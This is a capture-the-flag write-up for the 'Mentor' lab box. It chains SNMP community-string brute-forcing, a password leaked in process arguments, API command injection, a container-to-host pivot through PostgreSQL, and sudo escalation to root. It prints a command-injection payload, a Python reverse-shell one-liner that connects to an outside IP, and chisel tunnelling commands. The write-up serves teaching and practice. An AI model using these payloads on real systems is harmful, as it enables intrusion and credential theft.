Overview
Mentor is a medium Linux box built around an API with two separate SNMP secrets that drive the chain. The main site hosts a quotes API with Swagger docs. SNMP community-string brute-forcing with the internal string leaks a process argument containing a password. That password authenticates to the API as james, an admin account whose /admin/backup endpoint is vulnerable to command injection. The injection lands in a Docker container; credential hunting in the container's source code leads to a PostgreSQL database that yields the svc user's MD5 hash. SSH as svc, then a second SNMP config file on the host discloses another password that belongs to james. james can run /bin/sh as root via sudo.
Recon
SNMP Enumeration
Port 80 redirected to mentorquotes.htb. Nmap also found UDP 161 (SNMP). Initial snmp-check with the public community string returned basic system info:
snmp-check v1.9 - SNMP enumerator
Host IP address : 10.129.228.102
Hostname : mentor
Description : Linux mentor 5.15.0-56-generic ...
Contact : Me <admin@mentorquotes.htb>
Subdomain Discovery → API
ffuf -u http://10.129.228.102 -H "Host: FUZZ.mentorquotes.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 18 -mc all
# api -> 404 (different from non-existent subdomains)
Added api.mentorquotes.htb to /etc/hosts.
API Endpoint Discovery
feroxbuster -u http://api.mentorquotes.htb --no-recursion --methods GET,POST
307 http://api.mentorquotes.htb/admin
200 http://api.mentorquotes.htb/docs
200 http://api.mentorquotes.htb/openapi.json
307 http://api.mentorquotes.htb/users
307 http://api.mentorquotes.htb/quotes
Swagger docs at /docs exposed the API structure and an email: james@mentorquotes.htb.
Foothold
API Account Creation and Auth Quirk
/auth/signup accepted arbitrary credentials. Logging in via /auth/login returned a JWT. The API rejected standard Authorization: Bearer <token> headers but worked when the Bearer prefix was removed:
Authorization: eyJ0eXAiOiJKV1Qi...
Without admin rights, user-level endpoints returned 403. The JWT identified the account role.
SNMP Community String Brute-Force → james's Password
The default public string only returned basic info. Brute-forcing community strings:
python3 snmpbrute.py -t 10.129.228.102
# Identified Community strings:
# internal (v2c)(RO)
# public (v1/v2c)(RO)
Running snmpbulkwalk with the internal community string and filtering for process arguments:
snmpbulkwalk -v2c -c internal -m ALL 10.129.228.102 | grep login.py
HOST-RESOURCES-MIB::hrSWRunParameters.2078 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"
Why process arguments appear in SNMP: the
hrSWRunParametersOID from the Host Resources MIB stores the full command-line arguments of every running process. If a script passes a credential as a CLI argument rather than reading it from an environment variable or config file, it's visible to anyone with SNMP read access.
Using james@mentorquotes.htb / james / kj23sadkj123as0-d213 at /auth/login returned an admin-level JWT.
Command Injection in /admin/backup
The /admin/backup endpoint accepts a path JSON field. Any value returned {"INFO":"Done!"}, which indicated a backend command like tar or zip was running. Testing for injection:
POST /admin/backup HTTP/1.1
Host: api.mentorquotes.htb
Authorization: eyJ0eXAi...
Content-Type: application/json
{"path":"test;ping -c 1 10.10.14.126;"}
TCPDump confirmed ICMP from the server. The trailing semicolon was required.
Command injection in backup endpoints: backup functionality often shells out to system commands. When the attacker-controlled
pathis passed unsanitized to something likeos.system(f"zip -r backup.zip {path}"), semicolons or backticks inject additional commands.
Standard bash reverse shells were blocked. The server runs Python (Alpine Docker), so:
{"path": ";python -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.14.126\",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")';" }
rlwrap nc -lvnp 443
/app # whoami
root
Root inside the container (172.22.0.3). The user flag was in /home/svc.
Privilege Escalation
Container Escape → SSH as svc (PostgreSQL Hash)
The Dockerfile and db.py inside /app/app/ revealed the database connection:
DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")
Chisel forwarded port 5432 from the Docker gateway (172.22.0.1) to Kali:
# Kali
./chisel_1.9.1_linux_amd64 server -p 4444 --reverse
# Container
./chisel_1.9.1_linux_amd64 client 10.10.14.126:4444 R:5432:172.22.0.1:5432
psql -h 127.0.0.1 -p 5432 -U postgres
\connect mentorquotes_db
select * from users;
1 | james@mentorquotes.htb | james | ‹redacted›
2 | svc@mentorquotes.htb | service_acc | ‹redacted›
Crackstation cracked the svc MD5 hash. james's hash was not found:
‹redacted› -> ‹redacted›
ssh svc@mentorquotes.htb
# Password: ‹redacted›
whoami
svc
svc → james → root (SNMP Config Credential)
Grepping the SNMP daemon config (removing commented lines):
cat /etc/snmp/snmpd.conf | grep -v "^#"
createUser bootstrap MD5 ‹redacted› DES
The password ‹redacted› did not work for root but did work for james:
su james
# Password: ‹redacted›
james@mentor:/etc/snmp$ sudo -l
User james may run the following commands on mentor:
(ALL) /bin/sh
sudo /bin/sh -p
# whoami
root
Root
# cat /root/root.txt
‹redacted›
Takeaways
- SNMP community strings beyond
publicoften expose process argument data. Always brute-force them;internalandprivateare common non-default strings that yield far more information. - Process arguments in SNMP (
hrSWRunParameters) leak credentials when scripts accept passwords via CLI flags instead of environment variables. - Docker containers restrict shell utilities but Python is often available. When bash reverse shells fail, try a one-liner in whatever runtime the app uses.
- Config files for daemons like SNMP are worth reading in full after gaining initial access;
snmpd.confstored a credential that led directly to a sudo escalation.